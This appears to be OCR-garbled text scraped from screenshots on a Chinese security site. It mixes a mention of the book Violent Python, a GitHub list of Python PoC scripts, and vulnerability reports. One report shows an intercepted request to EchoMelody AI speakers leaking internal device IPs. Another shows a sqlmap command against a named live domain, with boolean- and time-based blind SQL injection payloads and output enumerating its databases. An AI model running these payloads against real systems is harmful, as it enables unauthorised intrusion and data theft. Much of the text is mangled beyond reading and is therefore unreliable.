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DET "L BFEH (Violent Python) , EZZONESA "NE"  (#1E)

Violent Pythonth M Jifz.pdf

E? = _—? _‘;J;:T E’J—

Violent Python FA3ZkR

Violent Python
A Cookbook for Hackers,
Forensic Analysts, Penetration

" : BRiNS, SERNF-DIRESR, RFEMNERLETE, FEpyhonZTE, HEEREEIER
Testers and Security Engineers SEESUKT, TEHSHHES, TR (Violent Pyihon) MESIREAT.

{Violent Python} ( http://book douban.com/subject/11605108/ ) XAFEpythonSBEMRREFNSS
E7—8, (FREE2B—MEEs |22, BXrH, BEEEpythonthEEaIBEFE
python RIS E ML FrERR L.

EE4r48(Z B zone.wooyun.org/content/23138

E{EZ: Chris Katsaropoulos

FERASEHNTES, BEIED, BCERSASERFEERANES, ENEER, TAT
=z, SIS NF-0] EEmED, FEKFER, TAEssiEs RONEHARERIIEINEEES

M

DEEIE,

E|E—#EE. crown ~ prince NEHEE, EEARNFINGED, hEEDREEA, ENSEzonefi, “(RAILNAFELEEN
i, EXTBEREESTINA, NSNS SIS RRENEatEA
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T T ST V2 S0POCHIEXP, fbhhl T — B AR SRR

crown-prince / Python_PoC @ Unwatch> | 15 * Unstar | 154

710 packages

Branch: master = New pull request Create new file | Upload files | Find file

[El Arbitrary_File_Downloadi2
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——EchoMelody AIEBRESfEEERE

8B EMR: EchoMelody AIEEEESHE

B=: WM3S

iZZEM: http://www.echomelody.com s .-;:‘.‘__:,;l-;;.u b
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ERESEIET, RiRT — MERNSIRE, X SIROHIRRLIUPNPT AR (UPNPE—FREs. M
ATIRRRENENSRARINY |, RNLGHEORLIHERSSINED, NaUT:

| # | Request to hitp/fwww echomelody. com:80 [135.155.208.50]

[ Forward [ | Drop | Intercept iz on [ Action

Raw | Paramz | Headers | Hex

v AppleWebEit/! .3 (KHTHML, like Gecko) Version/4.0 Chrome/51.0.2704.110 Mchile
‘rocess/tools NetType/WIFI Language/zh CH

Jiogd4eSeiglil
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FREFESS, RIMAMERRE Y [Hanf@E] (EHEAREREELE, FII2W E’J‘IW@M [= x%) RIS
%%, EFRESEERDE, REip, RBEERI)

chomelody.com |

J Raw | Headerz | Hex

HTTE/1.1

{"code":0, deviceli [{"name" : "echomelody 9d26","url
68.1.24:1 : "echome ly 9eald" ,"url":"192.168.1.185:196
ame" : "echomelo 64", "url" :"172.168.3.205:1913"}, {"name" : "echomelody 9
ed8" ,"url" :"172 16.4.187:1663" },{"name" :"echomelody 9c&4" ,"url":"192.168
84:1763"},{"name" : "echomelody 9fdf" , "url":"192.168 39:1557"}, {"name
:"echomelody %c5f","url":"192, 168 1:1701"},{"name" :" echomelody 9d4d"
url":"172.16.4.108:2018" } |, { "name :chomelody 9cf! url":"192.168.0.8
5:1994"} , { "nam echomelody 9ee9" , "url":"192.168.0.208:1944"}, {"name
echomelody 9c38 url':"192.168 123:1532"} , {"nam echomelody 9de
url":"192.168.0.122:1978"}, {"name" : "echomelody 9f43" "url":"192.168.
8:1889"}, { "name echomel. - ; '192.168.0.177:1093" } , { "name
echomelody 9bfa" ,"url":"192. : echomelody 9cB
nrl":"192.168.1 1667"}, { : :"192.168.10
2:1849"} , { "name echomelody 9f88", i Z 3 351"}, {"name
chomelody 9£89" "url":"192.168.10.177:1421" } {0 name' chomelody 9cce

+
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sglmap.py -u

"https://callcentre.flygazag.com/file.php?key[id%60%3D1*%23] = 1 &Slgnature=1&exp|resz151 047
25311" “dbmS=my5q| --dbs ' 1 LT

lzgqlmap resumed the following injection pointis) from stored session:

Parameter: #1* (URI)

[15:

L35
I[15:

wel

Tvpe: boolean-based blind
Title: AND boolean-hased blind - WHEEE or HAVING clause -
Pavlcad: Hftpsifs com:443/filae phpTkey[id =1 AND 1903=1G08#]=1&signature=18expires=15104725311

Type: AND/ORE time-based blind
Title: NMwcQL >= 5. 0. 12 AND time-based blind -
Pavlcad: Httpsi/s . com:443/file. phpTkeyv[id =1 AND SLEEP(5)#]=1&=ignature=1kexpires=15104725311

22:11] [INFO] testins MySOL

22:11] [INFO] confirming HySQL

22:11] [INFO] the back-end DENS is MySOL
application technology: Neginx

back-end DBHS: HySQL »=5.0.0

[[15:22:11] [INF(O] fetching database names
[im:22:41] [ 1] fetching number of databases
il15:22:11] [ resumed: 19

.LIE:EE 111 L resumed: informatior schema
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(2) 1R, SN IR
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